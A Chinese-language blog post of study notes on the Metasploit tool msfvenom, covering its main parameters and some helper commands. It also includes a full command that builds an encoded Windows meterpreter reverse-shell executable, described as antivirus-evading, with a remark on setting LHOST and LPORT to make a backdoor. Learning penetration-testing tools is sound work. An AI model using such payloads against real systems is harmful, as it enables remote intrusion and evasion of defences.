msfvenom學習

現在依然還有很多教學視頻、資料是使用之前的kali版本。隨着更新有些命令是不適應最新的kali的。(也是掉過坑的人)
msfvenom集成了msfpayload和msfencode,2015年之後移除了後兩項。再按照某些教程輸後兩個命令是不行的。


msfvenom重要參數:(可以使用msfvenom -h查看所有參數)
-p payload設置
-e 編碼設置
-a 系統結構,默認x86
-s payload最大大小
-i 編碼次數
-f 生成文件格式


另外幾個命令:
平臺查看: msfvenom --help-platforms
指定目標平臺:--platform xxx
格式查看: msfvenom --help-formats
查看payload設置: msfvenom -p <payload name> --payload-options(可以發現該payload適合的平臺等很多詳細信息)
注意:如果要創建x64的負載需使用-a x64


正確生成免殺文件:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -f exe >1.exe
如果需要生成後門文件,需要加上lhost(本地主機ip)以及lport(本地主機開放的端口)參數。
msfvenom學習
參考文章:https://www.hackers-arise.com/single-post/2017/07/31/Metasploit-Basics-Part-9-Using-msfvenom-to-Create-Custom-Payloads

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章